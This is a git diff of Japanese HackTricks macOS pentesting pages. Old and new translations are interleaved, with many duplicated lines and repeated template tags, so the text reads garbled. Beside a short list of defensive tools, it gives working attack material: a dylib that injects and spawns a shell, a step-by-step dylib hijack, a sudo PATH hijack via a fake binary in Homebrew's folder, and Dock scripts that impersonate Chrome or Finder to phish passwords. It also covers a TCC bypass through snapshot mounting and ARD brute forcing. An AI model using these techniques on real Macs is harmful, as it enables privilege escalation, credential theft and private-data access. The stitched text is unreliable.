* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## ファイアウォール
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 各プロセスによって行われるすべての接続を監視します。モードに応じて(接続を許可する際のサイレント、接続を拒否する際のサイレント、アラート)新しい接続が確立されるたびに **アラートを表示** します。また、この情報をすべて見るための非常に素敵なGUIもあります。
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-Seeファイアウォール。これは疑わしい接続についてアラートを表示する基本的なファイアウォールですGUIはLittle Snitchのものほど洗練されていません
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html):各プロセスによって行われるすべての接続を監視します。モード(接続を静かに許可、接続を静かに拒否し警告)に応じて、新しい接続が確立されるたびに**警告を表示**します。また、この情報をすべて見るための非常に良いGUIがあります。
* [**LuLu**](https://objective-see.org/products/lulu.html)Objective-Seeのファイアウォール。これは、疑わしい接続に対して警告を出す基本的なファイアウォールですGUIはありますが、Little Snitchのものほど豪華ではありません)。
## 持続性検出
## 続性検出
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): **マルウェアが持続する可能性のある** 複数の場所を検索するObjective-Seeアプリケーションワンショットツールであり、監視サービスではありません
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): 持続性を生成するプロセスを監視することで、KnockKnockのようなもの。
* [**KnockKnock**](https://objective-see.org/products/knockknock.html)**マルウェアが永続している可能性のある**いくつかの場所を検索するObjective-Seeのアプリケーションですこれは一回限りのツールで、監視サービスではありません)。
* [**BlockBlock**](https://objective-see.org/products/blockblock.html)KnockKnockのように、永続性を生成するプロセスを監視します
## キーロガー検出
* [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする **キーロガー** を見つけるためのObjective-Seeアプリケーション
## ランサムウェア検出
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): **ファイルの暗号化** アクションを検出するためのObjective-Seeアプリケーション
## マイク&ウェブカメラ検出
* [**OverSight**](https://objective-see.org/products/oversight.html): ウェブカメラとマイクを使用し始める **アプリケーション** を検出するためのObjective-Seeアプリケーション
## プロセスインジェクション検出
* [**Shield**](https://theevilbit.github.io/shield/): 異なるプロセスインジェクション **テクニックを検出** するアプリケーション
* [**ReiKey**](https://objective-see.org/products/reikey.html):キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。

View file

@ -1,22 +1,23 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIESの基本
## DYLD\_INSERT\_LIBRARIES 基本的な
**シェルを実行するために注入するライブラリ**
**シェルを実行するために注入するライブラリ:**
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
攻撃対象のバイナリ
攻撃対象のバイナリ:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -45,15 +46,13 @@ printf("Hello, World!\n");
return 0;
}
```
## macOS Dyld Hijacking and `DYLD_INSERT_LIBRARIES`
macOSでは、`DYLD_INSERT_LIBRARIES`環境変数を使用して、悪意のあるライブラリをプロセスに挿入することができます。これにより、攻撃者はプロセスの実行時にコードを実行し、権限昇格を行うことが可能となります。
インジェクション:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyldハイジャッキングの例
## Dyld Hijacking Example
対象の脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。
ターゲットとなる脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。
{% tabs %}
{% tab title="entitlements" %}
@ -93,7 +92,7 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
述の情報から、**ロードされたライブラリの署名をチェックしていない**ことと、**次の場所からライブラリをロードしようとしている**ことがわかります:
の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
@ -106,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
そうです、それをハイジャックすることが可能です!**任意のコードを実行し、同じ機能をエクスポートする**合法的なライブラリを再エクスポートすることで、ライブラリを作成してください。そして、期待されるバージョンでコンパイルすることを忘れないでください:
だから、それをハイジャックすることが可能です!**任意のコードを実行し、正当なライブラリと同じ機能を再エクスポートする**ライブラリを作成します。そして、期待されるバージョンでコンパイルすることを忘れないでください:
{% code title="lib.m" %}
```objectivec
@ -119,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
コンパイルします:
コンパイルします
{% code overflow="wrap" %}
```bash
@ -128,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
ライブラリで作成された再エクスポートパスはローダーに対して相対的です。これをエクスポートするライブラリへの絶対パスに変更しましょう:
ライブラリで作成された再エクスポートパスはローダーに対して相対的です。エクスポートするライブラリへの絶対パスに変更しましょう:
{% code overflow="wrap" %}
```bash
@ -157,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
そして、バイナリを**実行**して、**ライブラリがロードされた**ことを確認します:
そして**バイナリを実行**し、**ライブラリが読み込まれたか確認**します:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -165,25 +164,26 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
</code></pre>
{% hint style="info" %}
この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての素晴らしい解説は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) で見つけることができます。
この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての良い記事は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)で見つけることができます。
{% endhint %}
## より大規模なスケール
## 大規模なスケール
予期しないバイナリにライブラリを注入しようとする場合、イベントメッセージをチェックして、プロセス内でライブラリがロードされたタイミングを確認できますこの場合、printfと`/bin/bash`の実行を削除します)。
予期しないバイナリにライブラリを注入しようと計画している場合は、イベントメッセージを確認して、プロセス内でライブラリが読み込まれるタイミングを特定できますこの場合、printfと`/bin/bash`の実行を削除します)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# macOS Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## TCC特権昇格
## TCC Privilege Escalation
TCC特権昇格を探している場合は、以下に移動してください:
TCC特権昇格を探してここに来た場合は、次に進んでください:
{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc](macos-security-protections/macos-tcc/)
@ -24,20 +25,19 @@ TCC特権昇格を探している場合は、以下に移動してください
## Linux Privesc
Linux/Unixに影響を与える特権昇格に関するほとんどのトリックは、MacOSマシンにも影響を与えることに注意してください。したがって、以下を参照してください:
**特権昇格に関するほとんどのトリックはLinux/Unixに影響を与えるものであり、MacOSにも影響を与えることに注意してください。** したがって、次を参照してください:
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}
## ユーザーインタラクション
## User Interaction
### Sudoハイジャッキング
### Sudo Hijacking
オリジナルの[SudoハイジャッキングテクニックはLinux特権昇格ポスト内](../../linux-hardening/privilege-escalation/#sudo-hijacking)にあります。
ただし、macOSは\*\*`sudo`**を実行するときにユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、被害者が**`sudo`**を実行するときに実行する他のバイナリを**ハイジャック\*\*することです。
元の[Sudo Hijacking技術はLinux特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
しかし、macOSはユーザーの**`PATH`**を**`sudo`**を実行する際に保持します。つまり、この攻撃を達成する別の方法は、被害者が**sudoを実行する際に**実行する他のバイナリを**ハイジャックする**ことです:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -52,15 +52,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
注意:ターミナルを使用するユーザーは、**Homebrewがインストールされている**可能性が高いです。したがって、**`/opt/homebrew/bin`**内のバイナリをハイジャックすることが可能です。
### ドックの偽装
### Dockのなりすまし
ターミナルを使用するユーザーはほとんどが**Homebrewをインストールしている可能性**が高いことに注意してください。そのため、\*\*`/opt/homebrew/bin`\*\*内のバイナリを乗っ取ることが可能です。
いくつかの**ソーシャルエンジニアリング**を使用して、Dock内で**Google Chromeのなりすまし**を行い、実際に自分のスクリプトを実行することができます:
いくつかの提案:
* ドックでChromeがあるかどうかをチェックし、その場合はそのエントリを**削除**して、ドック配列の**同じ位置に偽のChromeエントリを追加**します。
{% tabs %}
{% tab title="Chromeのなりすまし" %}
いくつかの提案:
* DockにChromeがあるか確認し、その場合はそのエントリを**削除**し、Dock配列の**同じ位置に****偽の**Chromeエントリを**追加**します。&#x20;
```bash
#!/bin/sh
@ -130,15 +132,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{% endtab %}
{% tab title="Finderの偽装" %}
いくつかの提案:
* **DockからFinderを削除することはできません**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に配置することができます。そのためには、**Dock配列の先頭に偽のFinderエントリを追加する必要があります**
* 別のオプションは、Dockに配置せずに開くだけで、"FinderがFinderを制御するように要求しています"というのはそれほど奇妙ではありません。
* ルートに**パスワードを尋ねずに昇格する**別のオプションは、Finderに特権操作を実行するためのパスワードを本当に求めるようにすることです
* Finderに新しい\*\*`sudo`**ファイルを**`/etc/pam.d`\*\*にコピーするように要求します(パスワードを求めるプロンプトには"Finder wants to copy sudo"と表示されます)
* 新しい**認証プラグイン**をコピーするようにFinderに要求しますファイル名を制御できるため、パスワードを求めるプロンプトには"Finder wants to copy Finder.bundle"と表示されます)
* DockからFinderを**削除することはできない**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に置くことができます。そのためには、**Dock配列の最初に偽のFinderエントリを追加する**必要があります。
* 別のオプションは、Dockに置かずにただ開くことで、「FinderがFinderを制御するように求めています」はそれほど奇妙ではありません。
* パスワードを尋ねることなく**rootに昇格する**別のオプションは、Finderに本当に特権アクションを実行するためのパスワードを要求させることです
* Finderに**`/etc/pam.d`**に新しい**`sudo`**ファイルをコピーするように依頼しますパスワードを要求するプロンプトは「Finderがsudoをコピーしたい」と示します
* Finderに新しい**Authorization Plugin**をコピーするように依頼しますファイル名を制御できるので、パスワードを要求するプロンプトは「FinderがFinder.bundleをコピーしたい」と示します
```bash
#!/bin/sh
@ -208,13 +211,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{% endtab %}
{% endtabs %}
## TCC - ルート権限昇格
## TCC - ルート権昇格
### CVE-2020-9771 - mount\_apfs TCC バイパスと権昇格
### CVE-2020-9771 - mount\_apfs TCC バイパスと権昇格
**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
**唯一の特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
**任意のユーザー**(特権のないユーザーも含む)は、タイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
必要な**特権**は、使用するアプリケーション(`Terminal`など)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。
{% code overflow="wrap" %}
```bash
@ -238,26 +243,27 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)にあります\*\*。\*\*
より詳細な説明は[**元のレポートで見つけることができます**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
## 機密情報
特権を昇格させるのに役立つ可能性があります:
これは特権を昇格させるのに役立ちます:
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**.\*\*
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# macOSネットワークサービスとプロトコル
# macOS ネットワークサービスとプロトコル
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## リモートアクセスサービス
これらはリモートでアクセスするための一般的なmacOSサービスです。\
これらのサービスは `システム設定` --> `共有` で有効/無効にできます。
これらは、macOSにリモートでアクセスするための一般的なサービスです。\
これらのサービスは`システム設定` --> `共有`で有効/無効にできます。
* **VNC**「Screen Sharing」として知られていますtcp:5900
* **SSH**「Remote Login」と呼ばれていますtcp:22
* **Apple Remote Desktop**ARDまたは「Remote Managementtcp:3283、tcp:5900
* **AppleEvent**「Remote Apple Event」として知られていますtcp:3031
* **VNC**通称「画面共有」tcp:5900
* **SSH**通称「リモートログイン」tcp:22
* **Apple Remote Desktop**ARD、または「リモート管理tcp:3283、tcp:5900
* **AppleEvent**通称「リモートAppleイベント」tcp:3031
有効になっているかどうかを確認するには、次を実行します:
有効になっているかどうかを確認するには、次のコマンドを実行します:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -34,62 +35,62 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### ARDのペンテスト
### Pentesting ARD
Apple Remote Desktop (ARD) は、macOS向けにカスタマイズされた[Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)の強化バージョンであり、追加機能を提供しています。 ARDの顕著な脆弱性は、制御画面パスワードの認証方法であり、パスワードの最初の8文字のみを使用するため、[Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)や[GoRedShell](https://github.com/ahhh/GoRedShell/)などのツールを使用した[総当たり攻撃](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)に対して脆弱性があります。デフォルトのレート制限がないため、特に`VNC Authentication (2)`をサポートするサービスは、8文字のパスワードの切り捨てにより、総当たり攻撃に特に脆弱です。
Apple Remote Desktop (ARD) は、macOS 向けに特別に設計された [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) の強化版で、追加機能を提供します。ARD の顕著な脆弱性は、制御画面パスワードの認証方法で、パスワードの最初の 8 文字のみを使用するため、[ブルートフォース攻撃](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) に対して脆弱であり、Hydra や [GoRedShell](https://github.com/ahhh/GoRedShell/) のようなツールを使用することができます。デフォルトのレート制限がないためです。
**nmap**の`vnc-info`スクリプトを使用して、脆弱なインスタンスを特定できます。`VNC Authentication (2)`をサポートするサービスは、8文字のパスワードの切り捨てにより、総当たり攻撃に特に脆弱です。
脆弱なインスタンスは、**nmap** の `vnc-info` スクリプトを使用して特定できます。`VNC Authentication (2)` をサポートするサービスは、8 文字のパスワード切り捨てのため、特にブルートフォース攻撃に対して脆弱です。
特権昇格、GUIアクセス、ユーザーモニタリングなどのさまざまな管理タスクのためにARDを有効にするには、次のコマンドを使用します
特権昇格、GUI アクセス、またはユーザー監視などのさまざまな管理タスクのために ARD を有効にするには、次のコマンドを使用します:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARDは、観察、共有制御、フル制御など、さまざまな制御レベルを提供し、ユーザーパスワードの変更後もセッションが継続します。管理者ユーザーに対して、Unixコマンドを直接送信し、rootとして実行することができます。タスクスケジューリングやリモートスポットライト検索などの機能があり、複数のマシンで機密ファイルをリモートで検索するのに役立ちます。
ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションは持続します。管理者ユーザーとしてルートでUnixコマンドを直接送信し、実行することができます。タスクスケジューリングやリモートSpotlight検索は注目すべき機能であり、複数のマシンにわたる機密ファイルのリモートで低影響の検索を容易にします。
## Bonjourプロトコル
Bonjourは、Appleが設計した技術で、**同じネットワーク上のデバイスが提供するサービスを検出**できます。Rendezvous、Zero Configuration、またはZeroconfとしても知られ、TCP/IPネットワークにデバイスを参加させ、**自動的にIPアドレスを選択**し、そのサービスを他のネットワークデバイスにブロードキャストできます。
Bonjourは、Appleが設計した技術で、**同じネットワーク上のデバイスが互いに提供するサービスを検出する**ことを可能にします。Rendezvous、**ゼロコンフィギュレーション**、またはZeroconfとも呼ばれ、デバイスがTCP/IPネットワークに参加し、**自動的にIPアドレスを選択し**、他のネットワークデバイスにサービスをブロードキャストすることを可能にします。
Bonjourによって提供されるZero Configuration Networkingにより、デバイスは次のことができます:
* **DHCPサーバーが存在しなくてもIPアドレスを自動的に取得**できます
* DNSサーバーを必要とせずに**名前からアドレスへの変換**を実行できます
* ネットワーク上で利用可能な**サービスを検出**できます
Bonjourが提供するゼロコンフィギュレーションネットワーキングにより、デバイスは以下を実行できます:
* **DHCPサーバーがない場合でも自動的にIPアドレスを取得**する
* **DNSサーバーを必要とせずに名前からアドレスへの変換**を行う
* **ネットワーク上で利用可能なサービスを発見**する
Bonjourを使用するデバイスは、**169.254/16の範囲からIPアドレスを自動的に割り当て**、そのネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。
Bonjourを使用するデバイスは、**169.254/16範囲のIPアドレスを自動的に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。
BonjourはDNSにおいて、**マルチキャストDNSmDNSプロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**を対象とします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が容易になります。
